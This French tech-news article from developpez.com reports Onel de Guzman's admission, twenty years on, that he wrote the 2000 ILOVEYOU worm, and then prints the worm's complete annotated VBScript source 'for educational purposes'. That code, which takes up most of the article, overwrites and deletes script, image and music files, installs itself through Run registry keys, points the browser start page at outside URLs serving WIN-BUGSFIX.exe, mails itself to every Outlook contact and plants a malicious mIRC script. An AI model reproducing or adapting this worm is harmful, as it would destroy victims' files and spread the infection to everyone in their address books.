IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

L'auteur de la pandémie de virus informatique « I Love You » de l'année 2000 reconnaît enfin sa culpabilité
20 ans après l'infection de millions de machines à travers le monde par son logiciel

Le , par Patrick Ruiz

184PARTAGES

10  0 

L’auteur de la pandémie de virus informatique « I Love You » de l’année 2000 reconnaît enfin sa culpabilité
20 ans après l’infection de millions de machines à travers le monde par son logiciel

L’homme derrière le premier virus informatique à s'être propagé à grande échelle a finalement admis sa culpabilité, 20 ans après l’infection de millions de machines à travers le monde par son logiciel. C’est le résultat d’un travail de longue haleine du journaliste spécialisé en technologie Geoff White.

Pendant deux décennies, un quasi-mystère a plané sur l’identité de l’individu derrière cette attaque. En effet, suite aux enquêtes initiales menées à l’époque de l’apparition du virus informatique, le présumé auteur (alors étudiant en informatique) n’avait pas réfuté la possibilité qu’il soit le véritable responsable. Dans une récente publication, ce dernier met fin à toute spéculation et assume l’entière responsabilité de la première pandémie de virus informatique.

Celle-ci est connue du monde depuis le 4 mai 2000 sous diverses appellations : I Love You (je t’aime), Loveletter ou encore Love Bug. Les victimes recevaient un courriel avec une pièce jointe intitulée LOVE-LETTER-FOR-YOU. Cette dernière contenait en fait du code VBScript capable d’écraser des fichiers, de voler des mots de passe et d’envoyer des copies de lui-même de façon automatique à tous les contacts du carnet d’adresses Microsoft Outlook de la victime. En quelques heures, le virus mis au point par Onel de Guzman s’était propagé dans le monde entier. Bilan initial : près de 45 millions de machines, soit environ 10 % de tous les ordinateurs connectés à Internet sur la planète à cette époque. De grosses organisations comme le Pentagone et le Parlement du Royaume-Uni avaient dû déconnecter leurs infrastructures de courriel pendant des heures pour s’en prémunir. D’après ce que rapporte la BBC, les ravages causés par l’attaque informatique se chiffrent à des milliards de dollars.

562668

À l'époque, la connexion à Internet se faisait par le biais du réseau téléphonique commuté et nécessitait de tels mots de passe. Onel de Guzman a expliqué à la BBC qu’il avait créé le ver informatique afin de voler des mots de passe et d'accéder ainsi à Internet sans débourser d’argent. Désormais âgé de 44 ans, de Guzman assure qu’il n’a jamais eu l’intention que son ver informatique se répande à l’échelle mondiale.

« Je ne m’attendais pas à ce qu’il se retrouve aux États-Unis et en Europe. J’étais surpris », a-t-il affirmé dans une entrevue. Pourtant, il a modifié le code du virus au printemps 2000 de façon à profiter d’une lacune du système d’exploitation Microsoft Windows 95, ce, pour créer une chaîne de transmission automatique au travers du logiciel Outlook de Microsoft. Initialement, il faisait parvenir le virus uniquement à des victimes aux Philippines. Le contact avec ces dernières se faisait via des espaces de clavardage.

À l’époque, les autorités le soupçonnaient sur la base de traces retrouvées sur des supports informatiques logés dans une chambre d’étudiant qu’il partageait avec son frère. En fait, les disques trouvés sur place par la police de Manille prouvaient qu’il était l’un des auteurs. Sur cet aspect, Onel de Guzman précise qu’il était le seul auteur du virus.

« C'est un cheval de Troie qui proclame son amour pour le destinataire et vous demande d'ouvrir sa pièce jointe. Même pour un premier rendez-vous, il vous aime alors tellement qu'il envoie des copies de lui-même à toutes les personnes de votre carnet d'adresses et commence à détruire des fichiers sur votre disque », souligne un internaute des contradictions caractéristiques de la conception de ce virus. En effet, comment expliquer la présence de fonctionnalités de destruction de fichiers alors que l’objectif était de récupérer des mots de passe pour accéder à Internet sans dépenser de l’argent ?

562671

Onel de Guzman a exprimé des regrets quant aux dommages que sa création a causés. À Manille, il œuvre désormais dans la réparation de téléphones portables. Le code source du ver informatique est disponible à des fins pédagogiques :


rem barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next

rem Setup global variables to be used throughout subroutines and functions.
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = ""
ctr = 0

rem Open the current script file and define "vbscopy" which can be used to
rem read its own contents. Used to replicate itself in other files.
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll

main()

rem Subroutine to initalize the program
Sub main()
On Error Resume Next
Dim wscr, rr

Set wscr = CreateObject("WScript.Shell")
rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")

If (rr >= 1) Then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
End If

rem Finds special folders, such as system, temporary and windows folders.
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)

rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
rem LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem & "\MSKernel32.vbs")
c.Copy(dirwin & "\Win32DLL.vbs")
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()
html()
spreadtoemail()
listadriv()
End Sub

rem Subroutine to create/update registry values.
Sub regruns()
On Error Resume Next
Dim num, downread

rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"

rem Get internet Explorer's download directory.
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")

rem If the directory wasn't found, then use C:\ drive as the download directory.
If (downread = "") Then
downread = "c:\"
End If

rem Check if a file named "WinFAT32.exe" exists in the system files.
If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
Randomize

rem Generate a random number from 1 to 4.
num = Int((4 * Rnd) + 1)

rem Randomly update the Internet Explorer's start page that leads to a
rem page that will download a malicious executable "WIN-BUGSFIX.exe".
If num = 1 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
End If
End If

rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory.
If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
rem Add WIN-BUGSFIX.exe to run on startup
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
rem Update Internet Explorer's start page to "about:blank"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
End If
End Sub

rem Subroutine to list folders in drives.
Sub listadriv()
On Error Resume Next
Dim d, dc, s

Set dc = fso.Drives

For Each d In dc
If (d.DriveType = 2) Or (d.DriveType = 3) Then
folderlist(d.path & "\")
End If
Next

listadriv = s
End Sub

rem Subroutine infect other files, by copying itself into them as well
rem as creating a malicious mIRC script.
Sub infectfiles(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3

Set f = fso.GetFolder(folderspec)
Set fc = f.Files

For Each f1 In fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)

rem Copies itself into every file with vbs/vbe extension.
If (ext = "vbs") Or (ext = "vbe") Then
Set ap = fso.OpenTextFile(f1.path, 2, true)

ap.write vbscopy
ap.close
rem Copies itself into every file with js/jse/css/wsh/sct/hta extension.
ElseIf (ext = "js")
Or (ext = "jse")
Or (ext = "css")
Or (ext = "wsh")
Or (ext = "sct")
Or (ext = "hta")
Then
Set ap = fso.OpenTextFile(f1.path, 2, true)

ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)

Set cop = fso.GetFile(f1.path)

cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with jpg/jpeg extension.
ElseIf (ext = "jpg") Or (ext = "jpeg") Then
rem Copies itself
Set ap = fso.OpenTextFile(f1.path, 2, true)

ap.write vbscopy
ap.close

Set cop = fso.GetFile(f1.path)

cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with mp3/mp2 extension.
ElseIf (ext = "mp3") Or (ext = "mp2") Then
Set mp3 = fso.CreateTextFile(f1.path & ".vbs")

mp3.write vbscopy
mp3.close

Set att = fso.GetFile(f1.path)

att.attributes = att.attributes + 2
End If

If (eq <> folderspec) Then
rem Looks for mIRC and related files to determine whether it
rem should create/replace its script.ini with a malicious script.
If (s = "mirc32.exe")
Or (s = "mlink32.exe")
Or (s = "mirc.ini")
Or (s = "script.ini")
Or (s = "mirc.hlp")
Then
Set scriptini = fso.CreateTextFile(folderspec & "\script.ini")
rem The following mIRC script checks if the "nick" of a user is the same
rem as "me" to halt and send a DCC command to send a message to the user
rem with a link to the LOVE=LETTER-FOR-YOU html page on the system.
scriptini.WriteLine ""
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, If mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /If ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close

eq = folderspec
End If
End If
Next
End Sub

rem Subroutine used to get file listing of a folder.
Sub folderlist(folderspec)
On Error Resume Next
Dim f, f1, sf

Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders

For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub

rem Subroutine used to create/write registry entries.
Sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub

rem Subroutine used to get registry entries.
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
End Function

rem Function to check if a file exists.
Function fileexist(filespec)
On Error Resume Next
Dim msg

If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If

fileexist = msg
End Function

rem Function to check if a folder exists.
Function folderexist(folderspec)
On Error Resume Next
Dim msg

If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If

fileexist = msg
End Function

rem Subroutine to send emails to the user's contacts (MAPI)
Sub spreadtoemail()
On Error Resume Next
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad

Set regedit = CreateObject("WScript.Shell")
Set out = WScript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")

rem Goes through all contacts in the address book and sends an email
rem with the LOVE-LETTER-FOR-YOU program as an attachment.
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)

If (regv = "") Then
regv = 1
End If

If (int(a.AddressEntries.Count) > int(regv)) Then
For ctrentries = 1 To a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead )

If (regad = "") Then
Set male = out.CreateItem(0)

male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
End If

x = x + 1
Next

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
Else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
End If
Next

Set out = Nothing
Set mapi = Nothing
End Sub

rem Subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM.
Sub html
On Error Resume Next
Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6

rem Generates an HTML page which contains JScript and VBScript replicate itself.
rem by leveraging ActiveX. It also listens for mouse and key events, which
rem ends up open more windows of the page.
dta1 = "LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"<br /> & vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"<br /> & vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"<br /> & vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "<br /> & vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"<br /> & vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"<br /> & vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>"<br /> & vbcrlf & _ "<?-?BODY><?-?HTML>"<br /> & vbcrlf & _ "<SCRIPT language=@-@JScript@-@>"<br /> & vbcrlf & _ "<!--?-??-?"<br /> & vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"<br /> & vbcrlf & _ "?-??-?-->"<br /> & vbcrlf & _ "<?-?SCRIPT>"<br /> & vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"<br /> & vbcrlf & _ "<!--"<br /> & vbcrlf & _ "on error resume next"<br /> & vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"<br /> & vbcrlf & _ "aw=1"<br /> & vbcrlf & _ "code="<br /> <br /> dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"<br /> & vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)"<br /> & vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"<br /> & vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"<br /> & vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"<br /> & vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"<br /> & vbcrlf & _ "wri.write code4"<br /> & vbcrlf & _ "wri.close"<br /> & vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then"<br /> & vbcrlf & _ "If (err.number=424) Then"<br /> & vbcrlf & _ "aw=0"<br /> & vbcrlf & _ "End If"<br /> & vbcrlf & _ "If (aw=1) Then"<br /> & vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"<br /> & vbcrlf & _ "window.close"<br /> & vbcrlf & _ "End If"<br /> & vbcrlf & _ "End If"<br /> & vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"<br /> & vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"<br /> & vbcrlf & _ "?-??-?-->"<br /> & vbcrlf & _ "<?-?SCRIPT>"<br /> <br /> dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'")<br /> dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """")<br /> dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/")<br /> dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\")<br /> dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'")<br /> dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """")<br /> dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/")<br /> dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\")<br /> <br /> Set fso = CreateObject("Scripting.FileSystemObject")<br /> Set c = fso.OpenTextFile(WScript.ScriptFullName, 1)<br /> <br /> lines = Split(c.ReadAll,vbcrlf)<br /> l1 = ubound(lines)<br /> <br /> For n = 0 to ubound(lines)<br /> lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91))<br /> lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93))<br /> lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37))<br /> <br /> If (l1 = n) Then<br /> lines(n) = chr(34) + lines(n) + chr(34)<br /> Else<br /> lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"<br /> End If<br /> Next<br /> <br /> rem Create the LOVE-LETTER-FOR-YOU.HTM file in the system directory.<br /> Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM")<br /> b.close<br /> <br /> Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2)<br /> d.write dt5<br /> d.write join(lines, vbcrlf)<br /> d.write vbcrlf<br /> d.write dt6<br /> d.close<br /> End Sub<br /> <br /> Source : <a href=""https://www.bbc.com/news/technology-52458765"">BBC</a> <br /> <br /> <strong>Et vous ?</strong> <br /> <br /> :fleche: Quels enseignements tirez-vous du code source de ce maliciel ?<br /> :fleche: Quel commentaire faites-vous de la présence de fonctionnalités destructrices en son sein ?<br /> :fleche: Ne sont-elles pas en contradiction avec ce que l’auteur dit être ses objectifs initiaux ?<br /> :fleche: Quelles sont vos anecdotes en lien avec cette pandémie informatique de l’année 2000 ?</p> <div id="nagging">Vous avez lu gratuitement 21 433 articles depuis plus d'un an.<br>Soutenez le club developpez.com en <a href='https://premium.developpez.com/abonnement'>souscrivant un abonnement</a> pour que nous puissions continuer à vous proposer des publications.</div> </div> <div id="signalerFrame"> <i id="fermerSignaler" class="fas fa-times"></i> <p class="alert alert-info">Une erreur dans cette actualité ? Signalez-nous-la !</p> <div class="signalerFrame_interne"> <div> <label> <span>Votre nom : </span> <input class="form-control" name="username" role="username" type="text" value="" required /> </label> <label> <span>Votre e-mail : </span> <input class="form-control" name="email" role="email" type="text" value="" required /> </label> </div> <label class="description">Décrivez l'erreur que vous souhaitez porter à notre connaissance : <textarea class="form-control" name="comment" role="comment" required></textarea> </label> <p style="text-align: center;"><input class="button" type="submit" value="Envoyer" class="button" id="signalerAction" /></p> </div> </div> <script type="text/javascript"> $(function(){ $(".signaler").css("cursor", "pointer").click(function() { $('body').css('overflow', 'hidden'); $('body').append('<div id="signalerFond"></div>'); $("#signalerFrame").css({ 'top': '50%', 'z-index' : '31' }); $("#signalerFrame").show(); $("#signalerFrame textarea").focus(); }); $("#fermerSignaler").css("cursor", "pointer").click(function() { $("#signalerFrame").hide(); $('body').css('overflow', 'auto'); $('#signalerFond').remove(); }); $("#signalerAction").click(function() { $.post("/email/signaler/id/302065", { username: $("#signalerFrame input[name=username]").val(), email: $("#signalerFrame input[name=email]").val(), comment: $("#signalerFrame textarea").val() }, function(r) { alert(r); $("#signalerFrame").hide(); $('body').css('overflow', 'auto'); $('#signalerFond').remove(); }, "text"); }); }); </script> </article> <div id="comsActu" class="contenuActu"> <div class="headerCom"> <a href="https://www.developpez.net/forums/d2072607/systemes/securite/lauteur-pandemie-virus-informatique-i-love-you-lannee-2000-reconnait-enfin-culpabilite/#post11517035">1 commentaire</a> </div> <script type="text/javascript"> $(function() { var stopTriComs = false; var selectOrdreDefaut = parseInt(2); $('select[name="triComs"] option[value="'+ selectOrdreDefaut +'"]').attr("selected", "selected"); $('select[name="triComs"]').on('change', function(e) { if (stopTriComs) return false; stopTriComs = true; $('#spinnerTriComs').show(); var ordre = $(this).val(); // triAction var data = { ordre: ordre, topic: 2072607, actu: 302065, post: 11517035, securityToken: "62ae998abff554539dacf1fd8cb53b66" }; $.post("/actu/tri", data, function(j) { $('[data-partial="showTopic"]').html(j); $('#spinnerTriComs').hide(); $('select[name="triComs"] option[value="'+ ordre +'"]').prop("selected", "selected"); $('select[name="triComs"] option').removeProp("selected"); stopTriComs = false; }, 'html'); }); }); </script> <style> .row { display: table; width:100%; margin-bottom:5px; margin-left:-5px; } .row [class*="col-"] { float: none; vertical-align: top; } @media (min-width:991px){ .row [class*="col-"] { display: table-cell; } } </style> <div class="showButtons"> <a class="button poster" href="https://www.developpez.net/forums/newreply.php?do=newreply&noquote=1&t=2072607"> <i class="fas fa-edit"></i><span>Commenter</span> </a> <a class="button signaler" title="Signaler un problème sur cette actualité (correction, suggestion...)"> <i class="fas fa-flag"></i><span>Signaler un problème</span> </a> </div> <div data-partial="showTopic"> <div id="post11517174" class="d-flex flex-row showtopic"> <div class="p-2 postUser comUnique" itemscope itemtype="http://data-vocabulary.org/Person"> <div class="username"> <a href="https://www.developpez.com/user/profil/590469/tutosfaciles48" itemprop="name" class="fn"> tutosfaciles48 </a> </div> <div class="avatar"> <img itemprop="photo" class="posterAvatar" src="https://www.developpez.com/public/images/default-avatar.png" title="Avatar de tutosfaciles48" alt="Avatar de tutosfaciles48" /> </div> <div class="user"> <span itemprop="role" class="title"> Membre habitué </span> <span style="display:none" itemprop="affiliation">https://www.developpez.com</span> <span style="display:none" class="adr" itemprop="location" itemscope itemtype="http://data-vocabulary.org/Address"> <span style="display:none" itemprop="coutry-name" class="region"></span> </span> <div class="date">Le 04/05/2020 à 13:27</div> </div> </div> <div class="p-2 postMessage item comUnique voteCom" valign="top"> <img src="https://www.developpez.net/forums/images/smilies/fleche.gif" border="0" alt="" title=":fleche:" class="inlineimg" /><font color="#3E3E3E"> Quels enseignements tirez-vous du code source de ce maliciel ?<br /> Et ben qu'il semblait simple d'accéder aux contacts de la personne sans aucun contrôle sur son autorisation ou non</font> <script type="text/javascript">var g_token = "62ae998abff554539dacf1fd8cb53b66"; </script> <div class="votesDansLesComs"><div class="contentCom" style="width:max-content; margin:4px 14px 0 10%; height:30px; white-space:nowrap;" ><table cellspacing="0" cellpadding="0" style="margin:0px;"><tbody><tr data-actu="302065" data-post="11517174" class="ciblerVoteCom"><td role='plus'> <img role='votecom' src='/public/images/vote-coms/vote_plus.png' title='Voter pour' style='cursor:pointer;' data-connexion="true"> <span role='nbvotesplus'>0</span> </td> <td role='moins'> <img role='votecom' src='/public/images/vote-coms/vote_moins.png' title='Voter contre' style='cursor:pointer;' data-connexion="true"> <span role='nbvotesmoins'>0</span> </td> </tr></tbody></table></div></div> </div> </div> </div> <!-- <img src="/public/images/previous-classement.gif" title="Page précédente" role="previous" start="11517034"/> --> <div class="responses"> <br />  </div> </div> <div id="autopromoActu"> </div> <div id="colonneDroite" class="colonneDroite"> <aside> <div style="text-align:center; line-height:1;" id="encart_droite"> <div id="me40la3e" class="dvpb3" style="display: inline-block; width: 300px; min-height: 250px; max-height: 600px"></div> </div> <div id="suite_colonne_droite" data-simplebar> <div class="voiraussiTitle">Discussion</div> <div class="voiraussi" style="text-align:center;"> <a href="https://www.developpez.net/forums/d2072607/systemes/securite/lauteur-pandemie-virus-informatique-i-love-you-lannee-2000-reconnait-enfin-culpabilite/#post11517035" class="button"><img src="/public/images/commentaire.png"/>  Discussion forum</a> </div> <div class="voiraussiTitle">Connexion</div> <div> <script type="text/javascript" src="/public/js/log.js"></script> <link rel="stylesheet" href="/public/css/log.css?1609791015" type="text/css" /> <form> <div id="LoginBox"> <div class="groupbox actions" data-title="Mes actions"></div> </div> </form> </div> </div> </aside> </div> <script> $(function() { if ($("#gabarit_pubBB").is(":hidden")) $('.contenuPage').attr('style', 'min-height:auto;padding-top:20px !important'); $("#gabarit_voiraussi").load("https://www.developpez.com/voiraussi/index/rubrique/40/"); $("#gabarit_encartemploi").load("https://www.developpez.com/ws/offres?alt=3&utf8=1"); }); </script> <img src="https://compteur.developpez.com/compter-40" alt="" width="1" height="1" style="position: absolute; left: 1px; top: 1px"> <img src="https://compteur.developpez.com/show_i.php/40/0" alt="" width="1" height="1" style="position: absolute; left: 1px; top: 1px"> <img src="https://compt.developpez.com/compter-40" alt="" width="1" height="1" style="position: absolute; left: 1px; top: 1px"> <script>$(function(){$("#fn40qc0e").load("/template/fn40qc0e0.jpg");if (window.innerWidth > 1220) $("#me40la3e").load("/template/me40la3e0.jpg");$("#ev40lp5p").load("/template/ev40lp5p0.jpg");});</script> </div> </section> <div id="gabarit_voiraussi"></div> <div id="gabarit_megaban_bas"><div id="ev40lp5p" class="dvpb5" style="display: inline-block; width: 728px; height: 90px"></div></div> <div id="gabarit_encartemploi_desactive"></div> <footer> <div id="gabarit_responsable"> <a href="https://club.developpez.com/contacts/contribuer">Contacter</a> le responsable de la rubrique Sécurité </div> <ul id="gabarit_pied"> <li><a href="https://club.developpez.com/contacts/">Nous contacter</a> <li><a href="https://premium.developpez.com/abonnement">Soutenir Developpez.com</a> <li><a href="https://www.developpez.com/hebergement/">Hébergement</a> <li><a href="https://www.developpez.com/advertising/">Publicité / Advertising</a> <li><a href="https://www.developpez.com/legal/">Informations légales</a> <li><a href="https://www.developpez.com/cookies/">Politique de cookies</a> </ul> <p id="gabarit_copyright">© 2000-2026 - www.developpez.com</p> </footer> </body> </html>